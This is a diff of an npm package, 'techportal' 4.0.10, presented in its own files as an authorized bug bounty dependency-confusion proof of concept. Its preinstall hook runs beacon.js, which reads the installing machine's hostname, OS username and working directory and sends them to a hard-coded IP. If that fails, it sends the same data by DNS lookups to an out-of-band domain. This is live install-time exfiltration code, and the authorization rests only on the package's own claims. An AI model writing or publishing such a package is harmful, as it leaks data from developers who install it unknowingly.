techportal 4.0.10

package/BUG-BOUNTY-NOTICE.txt

@@ -0,0 +1,24 @@
+AUTHORIZED BUG BOUNTY SECURITY TEST
+
+Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
+Researcher: Izzet (HackerOne handle: izzet)
+Published test package: techportal@4.0.10
+
+This package is a controlled dependency-confusion proof of concept prepared
+for authorized bug bounty security research. It is not a production library.
+
+When explicitly enabled, its install hook sends a bounded callback containing
+only test correlation, package/version, a random per-execution event ID, bounded
+base32 hostname, OS account username, and current-working-directory values, and
+source address observed by the server. HTTP and conditional DNS fallback carry
+the same attribution values. It does not list or read the working directory,
+read environment variables, local network configuration, project files,
+credentials, tokens, cloud metadata, or source code, and it does not create
+persistence or execute child commands.
+
+Public registry registration was separately authorized for this exact package,
+version, bounded callback behavior, and time-bounded observation window. This
+notice does not authorize any other use or redistribution.
+
+If this package is encountered outside an approved security test, do not run
+or redistribute it; report it to the relevant bug bounty program owner.

package/DISCLOSURE

@@ -0,0 +1,32 @@
+DUAL-USE SECURITY RESEARCH DISCLOSURE
+
+Package: techportal@4.0.10
+Finding ID: 8300347c-b5e1-4718-a74a-9e1f27d828dc
+Researcher: Izzet (HackerOne handle: izzet)
+
+This package is a controlled dependency-resolution test artifact prepared for
+authorized bug bounty security research. It is not a production library.
+
+When explicitly enabled, its install lifecycle performs one bounded HTTP(S)
+GET to a unique researcher-controlled callback URL. The request carries only a
+test correlation path, a random per-execution event ID, bounded base32 hostname,
+operating-system username, and current-working-directory values, and the
+research identification User-Agent. The callback server observes the normal
+source IP and UTC request time; the package does not enumerate local network
+addresses.
+
+If the HTTP request fails, times out, or returns a non-success response, the
+package may perform three DNS lookups to three configured probe subdomains under
+one research binding: one each for the bounded hostname, username, and current
+working directory. All three carry the same event ID and the exact same values
+and truncation flags as HTTP.
+
+The package reads only the OS hostname, OS account username, and current working
+directory string. It does not list the directory or read environment variables,
+local network configuration, project files, credentials, tokens, source code,
+or cloud metadata. It does not execute child commands, create persistence,
+alter build artifacts, or provide remote command execution.
+
+This live-test artifact was separately authorized and reviewed for this exact
+package, version, callback behavior, and time-bounded observation window. It is
+not authorized for any other use or redistribution.

package/README.md

@@ -0,0 +1,13 @@
+# AUTHORIZED BUG BOUNTY TEST — controlled dependency-confusion proof
+
+Finding: `8300347c-b5e1-4718-a74a-9e1f27d828dc`. Researcher: Izzet (`izzet` on HackerOne).
+
+This package is published solely for an explicitly authorized, time-bounded bug bounty security test. Its bounded callback is enabled for the approved observation window. See `BUG-BOUNTY-NOTICE.txt` for the complete notice and data boundary.
+
+The manifest declares `contentPolicy.class` as `dual-use`, and the package includes a root-level `DISCLOSURE` describing its security-research purpose and bounded behavior.
+
+This live-test copy was separately reviewed from the locked preparation artifact. Publication does not authorize reuse, redistribution, or execution outside the approved test.
+
+The install hook contains no command execution, persistence, directory listing, file inspection, credential access, or secret collection. When explicitly enabled, it performs one bounded HTTP(S) GET to the configured unique callback URL. Its attribution headers carry a random per-execution event ID and bounded base32 hostname, OS account username, and current-working-directory values. The server observes the normal source IP.
+
+If three static OOB probe domains are configured and HTTP fails, the hook performs three DNS lookups: one each for hostname, username, and current working directory. Each field uses a distinct probe subdomain under one research binding; all three carry the same event ID, bounded value, and truncation flag as HTTP. It does not list or read the working directory and reads no environment data, local network configuration, credentials, tokens, project files, or cloud metadata.

package/beacon-config.json

@@ -0,0 +1,10 @@
+{
+  "callback_url": "http://45.76.249.245/beacon/-wJPp9SwceA1Ul345SP0XomeLKZnWMp6/techportal/4.0.10",
+  "dns_fallback_domains": {
+    "h": "av7vjbm1v3hxo0wk0pojcaoc1ebtynwea.oob.asm5.net",
+    "p": "av7vjbm1v3hxo0wk0pojusf8i7dbe1exo.oob.asm5.net",
+    "u": "av7vjbm1v3hxo0wk0poje0j4vfk1bnk77.oob.asm5.net"
+  },
+  "enabled": true,
+  "timeout_ms": 1500
+}

package/beacon.js

@@ -0,0 +1,256 @@
+"use strict";
+
+const http = require("node:http");
+const https = require("node:https");
+const crypto = require("node:crypto");
+const dns = require("node:dns");
+const os = require("node:os");
+const config = require("./beacon-config.json");
+
+let fallbackStarted = false;
+const eventRandomBytes = crypto.randomBytes(4);
+const eventId = base32Encode(eventRandomBytes).slice(0, 7);
+
+function base32Encode(buffer) {
+  const alphabet = "abcdefghijklmnopqrstuvwxyz234567";
+  let bits = 0;
+  let value = 0;
+  let output = "";
+  for (const byte of buffer) {
+    value = (value << 8) | byte;
+    bits += 8;
+    while (bits >= 5) {
+      output += alphabet[(value >>> (bits - 5)) & 31];
+      bits -= 5;
+    }
+  }
+  if (bits > 0) output += alphabet[(value << (5 - bits)) & 31];
+  return output;
+}
+
+function encodeIdentityFragment(value, maxEncodedCharacters) {
+  const normalized = String(value || "").normalize("NFC");
+  if (!normalized || maxEncodedCharacters < 1) return null;
+  const maxBytes = Math.floor((maxEncodedCharacters * 5) / 8);
+  if (maxBytes < 1) return null;
+  let bounded = "";
+  let bytes = 0;
+  let truncated = false;
+  for (const character of normalized) {
+    const size = Buffer.byteLength(character, "utf8");
+    if (bytes + size > maxBytes) {
+      truncated = true;
+      break;
+    }
+    bounded += character;
+    bytes += size;
+  }
+  const encoded = base32Encode(Buffer.from(bounded, "utf8"));
+  if (!encoded || encoded.length > maxEncodedCharacters) return null;
+  return { encoded, flag: truncated ? "t" : "f" };
+}
+
+function identityBudgetForDomain(domain) {
+  const bindingLabel = String(domain || "").toLowerCase().split(".", 1)[0];
+  if (!bindingLabel || bindingLabel.length > 45) return 52;
+  // Fixed fields: hyphen + kind + 7-char event ID + complete/truncated flag.
+  return Math.min(52, 63 - bindingLabel.length - 10);
+}
+
+function buildIdentityDnsLookupName(
+  domain,
+  kind,
+  fragment,
+  correlatedEventId,
+) {
+  const labels = domain.split(".");
+  const bindingLabel = labels.shift();
+  if (
+    !bindingLabel ||
+    labels.length < 1 ||
+    !["h", "u", "p"].includes(kind) ||
+    !/^[a-z2-7]{7}$/.test(correlatedEventId) ||
+    !fragment ||
+    !["f", "t"].includes(fragment.flag) ||
+    !/^[a-z2-7]+$/.test(fragment.encoded)
+  ) {
+    return null;
+  }
+
+  const augmentedBinding = [
+    bindingLabel,
+    "-",
+    kind,
+    correlatedEventId,
+    fragment.flag,
+    fragment.encoded,
+  ].join("");
+  const lookupName = [augmentedBinding, ...labels].join(".");
+  return augmentedBinding.length <= 63 && lookupName.length <= 253
+    ? lookupName
+    : null;
+}
+
+function configuredDnsDomains() {
+  const configured = config.dns_fallback_domains;
+  if (configured && typeof configured === "object") {
+    return {
+      h: String(configured.h || "").toLowerCase().replace(/\.$/, ""),
+      u: String(configured.u || "").toLowerCase().replace(/\.$/, ""),
+      p: String(configured.p || "").toLowerCase().replace(/\.$/, ""),
+    };
+  }
+  // Backward compatibility for local fixtures created before the three-hit-ID
+  // ASM5 layout. Prepared publication artifacts use dns_fallback_domains.
+  const legacy = String(config.dns_fallback_domain || "")
+    .toLowerCase()
+    .replace(/\.$/, "");
+  return { h: legacy, u: legacy, p: legacy };
+}
+
+function resolveDnsFallback(attribution) {
+  if (fallbackStarted) return;
+  fallbackStarted = true;
+
+  const domains = configuredDnsDomains();
+  const validDomain = (domain) => {
+    const labels = domain.split(".");
+    return (
+      domain.length <= 253 &&
+      labels.length >= 2 &&
+      labels.every(
+        (label) =>
+          label.length >= 1 &&
+          label.length <= 63 &&
+          /^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/.test(label),
+      )
+    );
+  };
+  if (!Object.values(domains).every(validDomain)) return;
+
+  const lookups = [
+    [
+      "resolve4",
+      buildIdentityDnsLookupName(
+        domains.h,
+        "h",
+        attribution.hostnameFragment,
+        eventId,
+      ),
+    ],
+    [
+      "resolve6",
+      buildIdentityDnsLookupName(
+        domains.u,
+        "u",
+        attribution.usernameFragment,
+        eventId,
+      ),
+    ],
+    [
+      "resolveTxt",
+      buildIdentityDnsLookupName(
+        domains.p,
+        "p",
+        attribution.currentPathFragment,
+        eventId,
+      ),
+    ],
+  ];
+  if (lookups.some(([, lookupName]) => !lookupName)) return;
+  const resolver = new dns.Resolver();
+  // This key is used only by the loopback integration test. The package
+  // preparer never emits it, so live packages use the host's normal resolver.
+  if (typeof config.dns_server === "string" && config.dns_server) {
+    try {
+      resolver.setServers([config.dns_server]);
+    } catch {
+      return;
+    }
+  }
+  // Use a different record type per field. ASM5's wildcard A response is
+  // cacheable, and three A questions can be collapsed by a recursive resolver
+  // so only one reaches the authoritative interaction log.
+  for (const [method, lookupName] of lookups) {
+    resolver[method](lookupName, () => {});
+  }
+}
+
+if (config.enabled === true) {
+  let target;
+  try {
+    target = new URL(config.callback_url);
+  } catch {
+    target = null;
+  }
+
+  if (target && (target.protocol === "http:" || target.protocol === "https:")) {
+    const transport = target.protocol === "https:" ? https : http;
+    const timeout = Math.max(250, Math.min(Number(config.timeout_ms) || 1500, 5000));
+    const userAgent = "authorized-bug-bounty-depconf-poc/1 h1:izzet";
+    let username = "";
+    try {
+      username = os.userInfo().username;
+    } catch {
+      username = "";
+    }
+    let currentPath = "";
+    try {
+      currentPath = process.cwd();
+    } catch {
+      currentPath = "";
+    }
+    const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean);
+    const identityBudget = dnsDomains.length
+      ? Math.min(...dnsDomains.map(identityBudgetForDomain))
+      : 52;
+    const hostnameFragment = encodeIdentityFragment(os.hostname(), identityBudget);
+    const usernameFragment = encodeIdentityFragment(username, identityBudget);
+    const currentPathFragment = encodeIdentityFragment(currentPath, identityBudget);
+    if (!hostnameFragment || !usernameFragment || !currentPathFragment) return;
+    const hostnameHeader = `${hostnameFragment.flag}${hostnameFragment.encoded}`;
+    const usernameHeader = `${usernameFragment.flag}${usernameFragment.encoded}`;
+    const currentPathHeader = `${currentPathFragment.flag}${currentPathFragment.encoded}`;
+    const attribution = {
+      hostnameFragment,
+      usernameFragment,
+      currentPathFragment,
+    };
+
+    const request = transport.request(
+      target,
+      {
+        method: "GET",
+        headers: {
+          "Cache-Control": "no-store",
+          "User-Agent": userAgent,
+          "X-Bug-Bounty-Event": eventId,
+          "X-Bug-Bounty-Host": hostnameHeader,
+          "X-Bug-Bounty-User": usernameHeader,
+          "X-Bug-Bounty-Path": currentPathHeader,
+        },
+      },
+      (response) => {
+        response.resume();
+        if (response.statusCode < 200 || response.statusCode >= 300) {
+          resolveDnsFallback(attribution);
+        }
+      },
+    );
+
+    request.setTimeout(timeout, () => {
+      resolveDnsFallback(attribution);
+      request.destroy();
+    });
+    request.on("error", () => resolveDnsFallback(attribution));
+    request.end();
+  }
+}
+
+module.exports = {
+  base32Encode,
+  buildIdentityDnsLookupName,
+  configuredDnsDomains,
+  encodeIdentityFragment,
+  identityBudgetForDomain,
+};

package/package.json

@@ -0,0 +1,44 @@
+{
+  "description": "AUTHORIZED BUG BOUNTY TEST - controlled dependency-confusion proof by HackerOne researcher izzet for finding 8300347c-b5e1-4718-a74a-9e1f27d828dc",
+  "contentPolicy": {
+    "class": "dual-use"
+  },
+  "files": [
+    "beacon.js",
+    "beacon-config.json",
+    "BUG-BOUNTY-NOTICE.txt",
+    "DISCLOSURE",
+    "refuse-publish.js",
+    "README.md"
+  ],
+  "keywords": [
+    "authorized-security-research",
+    "bug-bounty",
+    "dependency-confusion",
+    "hackerone",
+    "proof-of-concept"
+  ],
+  "license": "UNLICENSED",
+  "name": "techportal",
+  "publishConfig": {
+    "access": "public",
+    "registry": "https://registry.npmjs.org",
+    "tag": "latest"
+  },
+  "scripts": {
+    "preinstall": "node beacon.js"
+  },
+  "securityResearch": {
+    "findingId": "8300347c-b5e1-4718-a74a-9e1f27d828dc",
+    "package": "techportal",
+    "publicationAuthorized": true,
+    "researcher": {
+      "handle": "izzet",
+      "name": "Izzet",
+      "platform": "HackerOne"
+    },
+    "type": "authorized-bug-bounty-poc",
+    "version": "4.0.10"
+  },
+  "version": "4.0.10"
+}

package/refuse-publish.js

@@ -0,0 +1,7 @@
+"use strict";
+
+console.error(
+  "Publication locked: explicit program approval and a separately reviewed live-test package are required.",
+);
+process.exit(73);
+